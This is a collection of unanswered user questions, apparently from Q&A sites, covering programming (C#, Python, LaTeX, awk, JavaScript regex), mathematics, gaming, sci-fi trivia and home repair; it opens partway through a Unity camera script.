CurrentRotationAngle = Mathf.LerpAngle(CurrentRotationAngle, DesiredRotationAngle, 0);         CurrentHeight = Mathf.Lerp(CurrentHeight, DesiredHeight, 0);          CurrentRotation = Quaternion.Euler(0, CurrentRotationAngle, 0);         transform.position = Target.transform.position;         transform.position -= CurrentRotation * Vector3.forward * FollowDistance;         transform.position = new Vector3(transform.position.x, CurrentHeight, transform.position.z);          Yaw = Input.GetAxis("Right Horizontal") * RotateSpeedPerTime;         Pitch = Input.GetAxis("Right Vertical") * RotateSpeedPerTime;         transform.Translate(new Vector3(Yaw, -Pitch, 0));         transform.position = new Vector3(transform.position.x, transform.position.y, transform.position.z);          transform.LookAt(Target.transform);     } }


How do I fix gaps around my lean-to greenhouse?

Added this to  and was advised to post here.  I got my greenhouse and didn’t account for the sloping away of the wall it was to go against. Meaning a small gap at the bottom becomes 4” at the top.  I can’t push it into the wall as it warps the greenhouse and can’t leave the huge gap. Is there a way of deal with this?   I was thinking of maybe  - some type of structure around it then fill with expanding foam then remove the structure. - some mesh then plaster it


Can I trade my Gen 1 Gameboy Pokemon all the way up to Sun/Moon?

I recently rediscovered my old Pokemon Red game complete with my original Pikachu that I trained while I was a kid. What I'd like to do is try to trade it to my Sun game that I've just recently purchased using the intermediary gens and hardware as required.  I'm curious if it's even possible to get my Gen 1 Pikachu up to Sun. Any games, hardware, or software is fair game for this little project.


can silence happens when 2 sound waves destroy each other

Hi is there any possibility that you located between 2 sound sources and u hear nothing? as we know 2 wave in opposite direction will destroy each other...


How would I filter the output (Console.WriteLine(statusCollection...) to only show results if s.Service_name equals "cloud_networking" in the past 24hrs (s.Begin date is formatted like this 2018-05-19T04:39:59Z  class Program {     private static readonly log4net.ILog log = log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);      //public static void Main()     public static void Main(string[] args)     {         using (var webClient = new WebClient())         {              String rawJSON = webClient.DownloadString("https://status.cloud.google.com/incidents.json");             List<Status> statusCollection = JsonConvert.DeserializeObject<List<Status>>(rawJSON);             Console.WriteLine(statusCollection.Count + "Last Run:" + DateTime.Now.ToString("MM/dd/yyyy h:mm tt"));             //Console.WriteLine(statusCollection.Count + " items");              Console.WriteLine(string.Join("\n", statusCollection.Select(s => string.Format("{0} {1} ({2}) {3} - {4} - {5} updates",                                                    s.Begin, s.Number, s.Severity, s.Service_name, s.External_desc, s.Updates.Count))));             log.Info(DateTime.Now.ToString("\n MM/dd/yyyy h:mm tt"));         }     } }  public class Status {     public string Begin { get; set; }     public string Created { get; set; }     public string End { get; set; }     public string External_desc { get; set; }     public string Modified { get; set; }     [JsonProperty("most-recent-update")]     public MRUpdateContainer Most_recent_update { get; set; }     public int Number { get; set; }     public bool Public { get; set; }     public string Service_key { get; set; }     public string Service_name { get; set; }     public string Severity { get; set; }     public List<Update> Updates { get; set; }     public string Uri { get; set; } }  public class MRUpdateContainer {     public string Created { get; set; }     public string Modified { get; set; }     public string Text { get; set; }     public string When { get; set; } } public class Update {     public string Created { get; set; }     public string Modified { get; set; }     public string Text { get; set; }     public string When { get; set; } }


How many people can be in the same holodeck program at the same time?

In Star Trek we frequently see the amazing holodeck function with more than one person in it at a time. In some cases this makes sense, if the people are in only one or two groups, for example. But in some scenarios it seems conceivable that there might be large numbers of people in the same program with everyone off doing their own thing, such as in the Scottish town or beach resort programs in Voyager, or Vic's club in Deep Space Nine. In such situations is there a point at which the computer will not be able to adequately adjust the illusion to keep each group of people separate and isolated?    Obviously the size of the room would impact this (such as Quark's holosuites vs Enterprise-D's holodecks), but has this ever been covered in canon?


Given a coin with unknown bias, generate variates from a fair coin efficiently

Given a coin with unknown bias $p$, how can I generate variates — as efficiently as possible — that are Bernoulli-distributed with probability 0.5?  That is, using the minimum number of flips per generated variate.


I was about to spend the next 3 hours playing CSGO, but the Steam client wouldn’t launch. I tried launching it from the command line interface, but there was an error saying that ~/.steam/error.log was read-only. I then performed chmod 666 on the file to yet again encounter the same error. Frustrated, I tried to open up Discord and I got a similar read-only file error bug. Then, I realized almost all my files were read-only, so I decided to restart my computer. Upon restarting, I found this 1st error.     I therefore decided to go into my BIOS and turn TMP state to disabled. I then booted my computer up once again and found this 2nd error, which is where we are at now.     I am totally stumped as it looks like it seems to be a bad drive superblock and I don't know how to fix it.


var a:Double = 7599 var b:Double = 7598  var x = a / 100 (75.98999999999999) var y = b / 100 (75.98)   Can anyone tell me why y is calculating to 2 decimal places and more importantly why x isn't?  I basically use this function in a RoundUp and RoundDown function but it doesn't work for certain numbers.


Print screen button does not work after upgrading to Ubuntu 18.04

I have upgraded my Ubuntu 16.04 to Ubuntu 18.04 and now the print screen is not working.


$$\sum^{∞}_{n = 1} \frac{1}{(2n + 1)(2n - 1)}$$ This series does not look like a power series, and I also tried using partial fraction integration which did not work. I also can't think of a known function that has similar terms. Is there another method for finding the sum of a series?


Should graduate students peer-review papers?

Why is being part of the peer-reviewing process beneficial for a graduate student?


Let $\mathbb F_9$ be a finite field of size $9$ obtained via the irreducible polynomial $x^2 + 1$ over the base field $\mathbb F_3$.    How can you find a primitive element?  Make a list of the elements of $\mathbb F_9$ together with a primitive element and all the powers of the primitive element.


I'm creating a script to do rebooting of computers, and I need to report the success or failure of the shutdown.exe command as part of my script logging.  I'm having an issue with redirecting the output of failed shutdown.exe processes to a file.  Here is my command line:  shutdown.exe -r -t 50000 -m \\top34.top.local > c:\output.txt   When I run this, I see the following message on my screen: "top34.top.local: The entered computer name is not valid or remote shutdown is not supported on the target computer. Check the name and then try again or contact your system administrator.(53)", which is I am expecting, but c:\output.txt is blank - and does not contain this error.  My script needs to output this line to a text file for logging purposes.  I have also tried to wrap it around a CMD, like such:  cmd /c shutdown.exe -r -t 50000 -m \\top34.top.local > c:\output.txt   But this too produces no result.  I have also tried the double >> (append), but this makes no difference.  I've done a fair bit of investigation, and it appears that shutdown.exe will redirect output of successful commands to stdout, but not failed commands.  How can I get it to redirect both successful and failed commands to my file?  Running Windows 2012 R2


Why do we have a down vote rep threshold for meta?

I read in the FAQs that voting is done to express agreement or disagreement over here:     On Meta Stack Overflow, voting is often used to express agreement or disagreement, not to point out a lack of quality or helpfulness. Please don't be concerned if you receive downvotes – members of the community may simply disagree with your bug, feature request, support issue, or the nature of the discussion.   Then why is there a rep threshold for down vote? The first thing that comes to mind is that if we allow down voting from the start, we may get trollers who would keep down voting stuff. However, there are other ways to deal with it. For example, we could check the activity of the user in the discussion (measure by number of questions/answers/comments and also number of times upvoted (this is different from rep)) before enabling this privilege.  EDIT  Use Case(unfortunately my own):  When I first saw meta, I knew nothing of it and nothing about Area51 and got a lot of down votes for that question. I lost a lot of reputation for a starter that day and was paying for that first timers mistake for some time before I got that reputation back.  EDIT  Please condider the discussion of thread as a feature request. I think there are mainly two suggestions from the various comments:   Remove down-voting all together  OR Change the down-vote reputation threshold to 15(same as up votes)


What is the importance of eigenvalues/eigenvectors?


I'm using biblatex with biber as backend. I want to create citations for my figures by using a \cite command, but surpress any output of it in the caption of a figure or in the footnotes of the respective page.  Instead the citation (including a page number) should be printed only in the \listoffigures, ideally instead of the caption. I'm using the style verbose-ibid. I'd like the references in the list of figures to be printed in the abbreviated form of that style by default. The cited book should be added to the bibliography as well, if it wasn't cited before in the text.  What I'm doing so far:  Placing the \cite command inside [] of \caption[]{} to avoid any output of the citation on the page of the figure and to print the citation inside the list of figures. The cited book gets also added to the bibliography.   Everythings just fine except for the citation style inside the list of figures (always prints full citation).  Any ideas how to achieve the abbreviated citation style in list of figures by default? Is there an overall better approach to this than mine?  MWE:  \documentclass{article} \usepackage{graphicx} \usepackage[backend=biber,style=verbose-ibid,hyperref=false]{biblatex} \addbibresource{mwe.bib}  \begin{filecontents}{mwe.bib} @Book{knuth1986,     Title                    = {The \TeX book},     Author                   = {Donald~Ervin Knuth},     Publisher                = {Addison-Wesley},     Year                     = {1986} } \end{filecontents}  \begin{document}  \begin{figure}     \centering     \includegraphics{example-image-a}     \caption[{\cite[][5]{knuth1986}}]{This is a caption} \end{figure}  \printbibliography \listoffigures \end{document}


Question: Prove that $n^n>\left(\dfrac{n+1}{2}\right)^{n+1}$ for all positive integer $n>1$.     I could not understand what should be the initial approach.


What form must a function $f$ have if $f(f(x)) = f$ and $f$ is differentiable?

If $f : [0,\infty) \to [0,\infty)$ is such that,   $f(f(x)) = f(x)$, $f$ is differentiable,   is it true that $f$ is either a constant or $f = x$?  I think so anyway.


Analyze the convergence of $$\sum\frac{1}{n(\log(n))^c}.$$  I know that it diverges for $c\leq1$ by using comparision test and integral test for convergence through the $$\int_{2}^{\infty}\frac{1}{x\log x}dx= \log(\log(\infty))-\log(\log2)$$  I also have a gut feeling that it converges for $c>1$ but not able to prove so. Please try explaining through less exotic methods by not resorting to weird convergence test theorem. Thanks!


Press Enter to Continue. . . Then Delete Statement (Python)

I have a burning question i'd like to ask. I'm new to Python, and I wanted to know if there was a way where I could display my message, say for example  print("Hello World!")   Then right after have a message pop up, (preferably in a bolded font if possible)  input("Press Enter to Continue. . .: ")   but after pressing Enter, I want the program to delete the Message "Press Enter to Continue . . ." after it has been pressed, Is that even possible? Would that even happen? I just don't want the program to look like  Hello World! Press Enter to Continue . . . How are you doing today? Press Enter to Continue . . . This is a Test Press Enter to Continue . . .   Any feedback is appreciated! I just started scripting so I apologize if this sounds ridiculous.


Prove $x^3+3y^3+9z^3-9xyz=1$ has infinity integers solutions!

A question from Alibaba Global Mathematics Competition (number theory)  Prove  $\displaystyle x^{3} +3y^{3} +9z^{3} -9xyz=1$ has infinitely many integer solutions.  The hint for the question is to transform the left side to a complex polynomial.  I found that:  Set $\lambda =e^{j2\pi /3}$ then the equation can be transformed to:  $$ \left( x+3^{1/3} y+3^{2/3} z\right)\left( x+3^{1/3} \lambda y+3^{2/3} \lambda ^{2} z\right)\left( x+3^{1/3} \lambda ^{2} y+3^{2/3} \lambda z\right)=1$$  but I don't know how to continue.


Proof of: $AB=0 \Rightarrow Rank(A)+Rank(B) \leq n$

As the title says,  am searching for a proof of      If $A,B \in \mathbb{R}^{n\times n}$ and   $AB=0$ then $\mathrm{rank}(A)+\mathrm{rank}(B) \leq n$   I am doing this as preparation for an upcoming exam and can't figure a way to start. Please just post small hints as answers. I will try to go from there.  Thank you   ftiaronsem


Constraints, generic variables and arithmetic operators

I’d like to declare a generic class Simple where a method called Addition would take two generic variables and add them together using + operator. I thought I could accomplish this by giving class Simple the following constraint:   class Simple<T> where T: int {     public T Addition(T firstInt, T secondInt)     {         return firstInt + secondInt;     } }   I suspect error has something to do with generics only having  the following five types of constraints  - ClassName, class, struct,InterfaceName, new()? Thus, why don’t generics also support StructureName constraint type? That way we would be able to apply arithmetic operators on generic variables?!  thanx


I'm getting a strange error when I try to do serialization with cereal in C++

I keep getting this strange error  /usr/bin/ld: CMakeFiles/libdungeon.dir/src/main.cpp.o: in function `decltype (({parm#2}.serialize)({parm#1})) cereal::access::member_serialize<cereal::BinaryOutputArchive, Character>(cereal ::BinaryOutputArchive&, Character&)': main.cpp:(.text._ZN6cereal6access16member_serializeINS_19BinaryOutputArchiveE9CharacterEEDTcldtfp0_9serializefp_EERT_RT0_[_ZN6cereal6access16member_serializeINS_19BinaryOutputArchiveE9Chara cterEEDTcldtfp0_9serializefp_EERT_RT0_]+0x1f): undefined reference to `void Character::serialize<cereal::BinaryOutputArchive>(cereal::BinaryOutputArchive&)' collect2: error: ld returned 1 exit status make[2]: *** [CMakeFiles/libdungeon.dir/build.make:119: bin/libdungeon] Error 1 make[1]: *** [CMakeFiles/Makefile2:96: CMakeFiles/libdungeon.dir/all] Error 2 make: *** [Makefile:104: all] Error 2    I made my classes super bare-bones but I'm still getting the error.  character.hpp:  #pragma once  #include <string>  #include <cereal/archives/binary.hpp>    class Character {      public:        Character(int t_level);      private:        friend class cereal::access;        template <class Archive>       void serialize(Archive & ar);        int m_level = 0;    };   character.cpp:  #include "character.hpp"  using namespace std;    //Generic constructor   Character::Character(int t_level){      m_level = t_level;    }     template<class Archive>   void Character::serialize(Archive & ar) {     ar (m_level);     }   main.cpp:   #include "character.hpp" #include <fstream> #include <cereal/archives/binary.hpp>  using namespace std; int main() {   Character test = Character(5);    std::ofstream ofs("archive", std::ios::binary);   cereal::BinaryOutputArchive archive(ofs);    archive(test);    return 0;  }   CMakeLists.txt:  # Basic setup cmake_minimum_required(VERSION 3.5) project (libdungeon LANGUAGES CXX VERSION 0.0.1) set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib) set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin)  # Directories with header files include_directories ("include")  # Setting compile flags SET(GCC_COVERAGE_COMPILE_FLAGS "-Wall -Wextra -Wshadow -Wnon-virtual-dtor -Wpedantic") add_definitions(${GCC_COVERAGE_COMPILE_FLAGS}) set(CMAKE_EXPORT_COMPILE_COMMANDS ON)  #conan include(${CMAKE_BINARY_DIR}/conanbuildinfo.cmake) conan_basic_setup()  # Libraries add_executable(libdungeon src/character.cpp src/main.cpp)  target_link_libraries(libdungeon ${CONAN_LIBS})   Any ideas? When I use a example file like the one found here , with a similar cmake file everything works fine.


Problem with proving that sets can't contain themselves

While studying introductory analysis, I came across an exercise wherein we have to prove that if $A$ is a set, it can't contain itself. The hint indicates we're supposed to use the regularity axiom.  I want to find out the problem with defining $A$ as the set $\{A, x\}$, where $x$ is a non-set object. This definition doesn't violate the regularity axiom because of $x$, and such a set can exist because of the pair set axiom ($A$ and $x$ are objects, so there exists a pair set $\{A, x\}$ )  I tried looking up a proof online, but it only denotes a set containing itself as $A = \{A\}$. Why not $\{A, x\}$ or $\{A, x, y\}$, etc...?


Help with an integral for: If U has a $\chi^2$ distribution with v df, find E(U) and V(U)

If U has a $\chi^2$ distribution with v df, find E(U) and V(U).  By definition, $E(U) =\int^{\infty}_{0} u\frac{1}{\gamma(\frac{v}{2})2^\frac{v}{2}}u^{\frac{v}{2}-1} e^\frac{-u}{2}\,du  =\int^{\infty}_{0} \frac{1}{\gamma(\frac{v}{2})2^\frac{v}{2}}u^\frac{v}{2} e^\frac{-u}{2}\,du$.  How do I integrate this?  Note: This isn't a homework problem.


Are "guessing game" questions off-topic?

I recently came upon  in the close-vote queue and I'm struggling to figure out what to do with it. As @gnat correctly points out in the comments, this is obviously a "name that thing" question, which Jeff Atwood calls "guessing game" questions in . All of the reasoning in Jeff's post is accurate: this question is unlikely to help anyone else, may not even have a real answer, and is practically impossible to find via a search, or Google, or whatever. My experience on scifi, which seems to be bearing itself out in this question, strongly suggests that we'll get a bunch of "I think it might be x" answers that will be not quite what the OP wants and start endless comment debates. But as much as I do think this question should be closed I can't find a good close reason for it. None of the close reasons seem to fit this question: it's about a specific programming problem that (in theory) has a single, objectively correct answer, and provides all the information we need to give that answer. (You might argue that "I want to know what this pattern is called" is not a "problem" but I think that's a stretch, since knowing the name of design patterns is a big part of modern development.) Of course, we can enter custom close reasons, as @gnat did, but (Jeff's argument aside) these type of questions are generally not considered off-topic on other sites, so I don't know that they should automatically be off-topic here. And if so, should we find a way to roll that idea into an existing close reason (too broad or opinion based seem the closest)? UPDATE: Just to add some additional data points, this question has come up on scifi (more than once I think) and as of right now,  questions are considered on-topic there; I'm also pretty sure  are on topic on english.


Product of any two arbitrary positive definite matrices is positive definite or NOT?

Suppose that , $A$ and $B$ are $n\times n$ positive definite matrices and > $I$ be $n\times n$ identity matrix. Then which of the followings are positive definite ? (i) $A+B$ (ii) $ABA$ (iii) $A^2+I$ (iv) $AB$  I know the definition of positive definite as :  $\color{red}{A_{n\times n}}$ $\color{red}{\text{is positive definite if it's quadratic form}} $ $\color{red}{x^TAx>0}$ Since $A$ and $B$ are positive definite so, $x^TAx>0$ and $x^TBx>0$. Then, $x^T(A+B)x=x^TAx+x^TBx>0.$ So $A+B$ is positive definite. I am confused about the product.. I saw a lot of questions in this site about the product of positive definiteness. But the answer in those questions it is assume that the matrices are symmetric. For example see the answer of  question. I want to know whether the product of any two arbitrary positive definite matrices is positive definite or NOT with a valid proof or counter example....


No compatible GPUs found for path tracing ?? Intel Iris Plus Graphics 640 1536 MB (Mac)

Anyone know how to GPU render in this mac  MacBook Pro (13-inch, 2017, Two Thunderbolt 3 ports)  2,3 GHz Intel Core i5  Intel Iris Plus Graphics 640 1536 MB  I would appreciate any information


When Stryker activates Wade (which is known as weapon XI) in X-Men Origins: Wolverine he refers to him as the "Deadpool". I recently watched the Deadpool movie and even though he has regeneration, he lacks all the other powers showed when weapon XI fights Victor and Wolverine.  Why this discrepancy?


Does factor-wise continuity imply continuity?

Let $f$ denote a map from a product space $X \times Y$ to $Z$. If for every $x\in X$, the map $f(x,-)$ is continuous, and the same holds for every $y \in Y$, then is $f$ continuous in general? If not, is there any condition to be imposed to make $f$ continuous?


Simplify $$\frac{\displaystyle\sum_{k=1}^{2499}\sqrt{10+{\sqrt{50+\sqrt{k}}}}}{\displaystyle\sum_{k=1}^{2499}\sqrt{10-{\sqrt{50+\sqrt{k}}}}}$$  I don't have any good idea. I need your help.


Not that I'm complaining, but now I've got more than 200 reputation two days in a row. Just from a few edits, questions, and lots of upvotes on answers, no bounties. The site is Academia, out of beta (if that makes a difference). What are the real rules here?  This question is deemed duplicate, but the linked question states 200 reputation is a hard limit, and that bounties are counted separately. So yes, you can get more than 200 a day by adding bounties. This is emphatically not my case. What gives?


Attention mechanisms have been used in various Deep Learning papers in the last few years. Ilya Sutskever, head of research at Open AI, has enthusiastically praised them:    Eugenio Culurciello at Purdue University has claimed that RNNs and LSTMs should be abandoned in favor of purely attention-based neural networks:    This seems an exaggeration, but it's undeniable that purely attention-based models have done quite well in sequence modeling tasks: we all know about the aptly named paper from Google,   However, what exactly are attention-based models? I've yet to find a clear explanation of such models. Suppose I want to forecast the new values of a multivariate time series, given its historical values. It's quite clear how to do that with an RNN having LSTM cells. How would I do the same with an attention-based model?


What is the probability that the center of the circle is contained within a triangle formed by choosing three random points on the circumference?

Consider the triangle formed by randomly distributing three points on a circle. What is the probability of the center of the circle be contained within the triangle?


What is the origin of the standard color coding scheme for item rarity?

I recently started playing Hearthstone, and I realized I already knew the correct rarities of different cards without having it explained to me, because I'd seen it before. Stopping to think about it, any time I play a game with items of different tiers of value/power/rarity, I expect them to be color coded as follows:   Gray - junk White - common Green - uncommon Blue - rare Purple - epic/very rare Orange - legendary/wicked rare   This pattern, or something very close to it, holds true in games as diverse as Gems of War, SWTOR, Blizzard games (WoW/Hearthstone), Torchlight, Titan Quest, Borderlands, etc.   So what gives? I'm certainly not complaining, because all else being equal, familiar interface design is beneficial. But how did this come to be the standard? What was the first game to use it, and why did it spread?


Debian/Ubuntu:redirect boot messages to file?

I know that something similar it's been asked before but I'd like to know if is possible, during the boot, to redirect the output (messages) also to a file.  I mean, I know that I can find that informations spread between /var/log/messages (or /var/log/syslog on some systems) and dmesg, but is there a way to "register" all boot messages exactly the way they are printed on screen?


I found this line in a sql code:  @../../sql_scripts/create_tables.sql   What does it do? I know that @@file.sql means that file.sql is run and @ could be used when we want to supply parameter values later, but here I have @ followed by a filename. I know that there is a similar question but it covers only @ in queries.


Is it possible to find the width of the T panel when this one is displayed ? For an addon, i display some text whith blf module on the bottom left side of the 3d view.  If i activate the overlap of the T panel, the text go behind the panel, so i have to know the panel width to put the text correctly. Does anyone have a solution please ?


Is there a way to organized entity deletion by braking into different batches? I have 700.000 entities associated with pictures that I would like to delete and I would like to perform that into batches. Any how to?


How to change geometry for one page without using \newgeometry or \restoregeometry

I am trying to establish one geometry for my first page (not a title page), and use another for the rest of the document. However, because I am trying to make a template, and thus do not want to rely on a user to put in \newgeometry or \restoregeometry in the text of the document, I would like to establish these geometries in the preamble. Is there any way to do this?  A minimum working example  \documentclass{article} \usepackage{lecturenotes}  \usepackage{afterpage}  \thispagestyle{plain}   \begin{lecture}{01}{Sample Lecture Notes}{John Sam}{01/01/2000}{Mark John}{PHYSICS 124: Physics of Energy}  \afterpage{\newgeometry{top=2cm, bottom=2.5cm, outer=5.5cm, inner=2cm, heightrounded, marginparwidth=3.5cm, marginparsep=0.4cm, includeheadfoot}}   \end{lecture} \theend   The style 'lecturenotes'      \def\fileversion{1.0} \def\filedate{2014/02/05} \NeedsTeXFormat{LaTeX2e}   \usepackage{graphicx} \usepackage{amsmath,amssymb,amsthm,amsfonts} \usepackage[top=0.5cm, bottom=2.5cm, outer=5.5cm, inner=2cm, heightrounded, marginparwidth=3.5cm, marginparsep=0.4cm, includeheadfoot]{geometry} \usepackage{fancyhdr} \pagestyle{fancy}  \newcommand{\handout}{    \noindent    \begin{center}    \framebox{ \vbox{ \hbox to 13.5cm { {\bf {\course}} \hfill {Lecture \lecturenum\ -- \lecturedate} }        \vspace{4mm}        \hbox to 13.5cm { {\Large \hfill {\lecturetitle}  \hfill} }        \vspace{2mm}        \hbox to 13.5cm { {\it {Lecturer: \lecturer} \hfill {Notes by: \lecturescribe}} }      }    }    \end{center}    \vspace*{4mm} }  \newenvironment{lecture}[6]{     \begin{document}     \global \def \lecturenum {#1}     \global \def \lecturetitle {#2}     \global \def \lecturescribe {#3}     \global \def \lecturedate {#4}     \global \def \lecturer {#5}     \global \def \course {#6}     \handout }   \lhead{\lecturedate} \chead{\lecturetitle} \rhead{Lecture \lecturenum} \lfoot{} \cfoot{\thepage} \rfoot{}  \newcommand{\theend}{\end{document}}


Is there a limit to the number of locomotives used to build a route?

When playing Ticket-to-Ride USA, is there a limit to the number of locomotives used to build a route? It seems unfair to create a 3-space-route with one Train Car card and two Locomotive Cards.


How to translate strings in (programmatically created) custom module?

I've (programmatically) created a custom module which includes a block with a string wrapped in the $this->t() function. How or where can I extract this translation file?  In Drupal 7 I would extract a translation file of the custom module, but the POTX module is not ported to Drupal 8 yet.  public function build() {   return array(     '#markup' => $this->t('How and where can I translate this string?'),   ); }


How to prove a number $a$ is quadratic residue modulo $n$?

In general, to show that $a$ is quadratic residue modulo $n$? What do I have to show? I'm always struggling with proving a number $a$ is quadratic residue or non-quadratic residue.    For example,     If $n = 2^{\alpha}m$, where $m$ is odd, and $(a, n) = 1$.    Prove that $a$ is quadratic residue modulo $n$ iff the following are satisfied:   If $\alpha = 2$ then $a \equiv 1 \pmod{4}$.   I just want to know what do I need to show in general, because I want to solve this problem on my own. Any suggestion would be greatly appreciated.  Thank you.


Indexing in Latex with printing the first letter for each group , on a WINDOWS system?

I've created index with makeidx package. It works. I just need to print the first letter above every group of keys. My problem is the same cited here () but the solution given is for a Linux system not Windows.  I created the .ist file. But the command "makeindex -s test.ist test.idx" is not a solution since i work on a windows system.  Can anyone help me?


A problem on Angle bisectors of a triangle and perpendiculars.

From $A$ perpendiculars $AX, AY$ are drawn to the bisectors of the exterior angles of $B$ and $C$ of $\Delta ABC$. Prove that $XY || BC$.  Prove that the feet of the four perpendiculars dropped from a vertex of a triangle upon the four bisectors of the other two angle are collinear.  In triangle $\Delta ABC, X $and $Y$ be the feet of perpendiculars from vertex $A$ to the internal angle bisector of $∠B$ and $∠C$ respectively. Line $XY$ meets $AB$ at $P$ and $AC$ at $Q$. If $AB = 7$ cm, $BC = 8$ cm and $CA = 5$ cm then find $PQ$ and $XY$.   These were 3 questions with almost similar configurations; as I wasn't able to solve the first one, I couldn't solve the next two either (I don't know if it's just psychological or something but anyway). So, could someone please provide the SOLUTION for the first one and just hints for the next two A solution using just elementary geometry would be ideal but any solution would be really helpful, Thanks


From the Rules (EXTRA ATTACK)  "Beginning at 5th level, you can attack twice, instead of once, whenever you take the Attack action on your turn."  If I have the EXTRA ATTACK feature (level 5), AND I am using two different light weapons, I'll get three attacks.  Do the rules ever explicitly stipulate that the two attacks from Extra Attack MUST come from the same weapon in this situation?  I can't find anything saying they must.  Assuming you can make one attack with each weapon, and then a third attack as a bonus action with either weapon (there is no handedness in D&D 5e) the end result would still only be 3 attacks, but might make for a more "fun" 1/2/1 rather than always being the same old 1/1/2 attack sequence.  Assuming using Extra Attack for a 1/2 weapon combo is legal (again- I see nowhere that it's not), does that mean ASIDE FROM 1/1/2:  1/2/2 is the only other legal combination (the bonus attack must be made with the opposite hand of the first attack when the action was taken).  1/2/1 is the only other legal combination (the bonus attack must be made with the opposite hand of the last attack before the bonus action).  OR since both weapons have been used to attack does the player then have the option of which weapon to use?


Ajax disables jQuery click event in WordPress Search & Filter Pro

CONTEXT  I'm using a a Wordpress plugin (Search & Filter Pro) to filter posts by category and load results via Ajax. Since I have several categories-of-categories (e.g. authors, topics, etc.), I added the code below to make the each super-category behave as an accordion:   jQuery(function($) {    $('li h4').on("click", function(){      console.log('hello!')       //Expand or collapse this panel      $(this).next().slideToggle('slow');     });  });   PROBLEM  On initial load, this works perfectly, as intended. However, as soon as I click a category and the filtered results show up in the content box, the accordion no longer works and even my console.log fails. None of the classes change after the results have loaded.  QUESTION  Is there any way the Ajax loading could be disabling the ability to use jQuery to target elements as in the code above?


Suppose that Γ is a set of sentences with arbitrarily large finite models (that is, for every natural number n, there is some interpretation whose domain has more than n members such that every member of Γ is true in that interpretation). Show that Γ has an infinite model.


I know that gradient of a function gives the direction in which the directional derivative of the function is maximum. Is there any similar interpretation of Hessian ?


Customs and luggage clearance, international flights via USA

I have been checking for similar questions for the past 2 hours but I could not find a reply. I am really sorry if this has been asked before.  With the following itinerary:  Cancun, Mexico (CUN) to New York, USA (JFK) JFK to Rome, Italy (FCO)  As an Italian passenger, do I have to pick up my luggage in JFK and clear customs or not?


I need to generate a list of insert statements (for postgresql) from html files, is there a library available for python to help me properly escape and quote the names/values? in PHP i use PDO to do the escaping and quoting, is there any equivalent library for python?  Edit: I need to generate a file with sql statements for execution later


How to find centre,vertics,foci,focal radii,letus rectum... when exists of a general quadratic equation in x and y

Is there a generalized way( a particular conic section of any shape,for instance an ellipse without determining its major/minor axis) to find the centre,vertices,foci,focal radii,letus rectum,eccentricity,etc when exists of any parabola,ellipse,hyperbola?(dealing separately)  $ax^2+by^2+cx+dy+exy+c=0$ ($a,b,c$ not all zero)


in my program, i have capkTable Java class which is a String. In another class, i want to get a data, so i can use appState.capkTable.setCapki(data[i+3]). knowing fully well that (data[i+3]) is a byte.  How can i convert it to String?  what i did is this :  byte[] testing = new byte [(data[i+3])]; int tagDataLength = 0; appState.capkTable.setCapki(StringUtil.toString(AppUtil.removeTailF(ByteUtil.bcdToAscii(testing,  0, tagDataLength))));   i don't know if i am doing it the right way..cos, instead of getting a value, it's returning java.lang.NullPointerException


Help needed in solving this problem of Fourier Transform

I want to know why   $$\int_0^\infty \frac{\cos wx\sin w}{w}\,dw = \frac{\pi}{4}?$$ at x=0,given that  $$\int_0^\infty \frac{\cos wx\sin w}{w}\,dw = \frac{\pi f(x)} {2}$$ where f(x) is  \begin{cases}     1       & \quad \text{if } |x|<1\\     0  & \quad \text{if } |x|>1\\   \end{cases}


Email validation with Javascript; every email appears to be invalid

I'm having trouble validating email addresses with JS. Here is my code:  var regEmail = /^([a-zA-Z0-9_.+-])+\@(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/i; var result = regEmail.test('username'); alert(result);   So no matter what kind of email address I type, it always shows "false". I copied the regex expression from somewhere on stackoverflow, but I think it should actuylly work...  EDIT  $(document).ready(function() {          $('#submitBtn').click(function() {          //Überprüfe ob der Benutzername leer ist         var username = $('#username').val();         if (username == ""){             alert ("User name cannot be empty!");         }          //Email validation          var regEmail = /^([a-zA-Z0-9_.+-])+\@(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/i;         var result = regEmail.test('username@example.com');         alert(result);          });     });


Regular expression used in sed not giving the desired result between intervals


How to make variable be taken into account

#!/bin/bash  awk 'NR!~/^(1|$q+2|$q+3)$/' deltay.txt > yota.txt   q is an integer obtain from a previous process in the script, and I need to erase lines one, the q+2 an q+3, but that command just erases lines 1...  How to do it? PS: I've tried with sed -e, but seems I don't own that command


How does light travel, does this not contradict the idea that going the speed of light stops time? Because if going the speed of light stops time and light goes the speed of light shouldn't it be dark?


How to randomly place a certain block over the map within a radius?

Let say I choose diamond block, I wanna place the block randomly all over the surface within a radius of 100 blocks. Is there a mod or command to do this kind of work?


type() built-in function: from python2 to python3

From Python2:  >>> class A: pass ...  >>> a = A() >>> type(a) <type 'instance'>   from Python3:  >>> class A: pass ...  >>> a = A() >>> type(a) <class '__main__.A'>   First of all, I have noticed that in python2 it returns<type....> while in python3 <class....> is it only a different way of display or is there a more deep meaning?  Second, does type function in python2 always return instance for object created by user-defined class?


A short story that ends with a character spelling C.A.N.N.I... (BAL implied)

A long time ago I read a short Sci-Fi story and I'm trying to figure out its Title/Author. Here is the plot and the last line: An attorney for one food producing company is trying to get the product of another company banned. He is standing up in front of a bunch of government officials or legislatures. All food is processed food in their economy; none of it is from animals. Indeed most people don't even know about meat. So the attorney has to explain what food used to be. At one point he introduces a word by spelling it out... C.A.R.N.I.V.O.R.E.... and one member of the audience gets ill (he had warned them it would be a difficult topic) and has to leave. After explaining all about meat, and different kinds of meat, and that their competitor has designed several of their foods to taste like meat,a  he says, and this is a pretty much quote, I think, "So now I have to explain about another word: C.A.N.N.I..." [end of story]


Does $E=mc^²$ mean there is a maximum attainable temperature?

If energy is proportional to mass, and temperature is proportional to energy density, does it mean there is a certain absolute maximum temperature which can never be exceeded? With further energy added to the system simply increasing its mass without affecting the temperature anymore?


Series of novels with immortal man and tribes with horses / telepathic cats in post-apocalyptic US

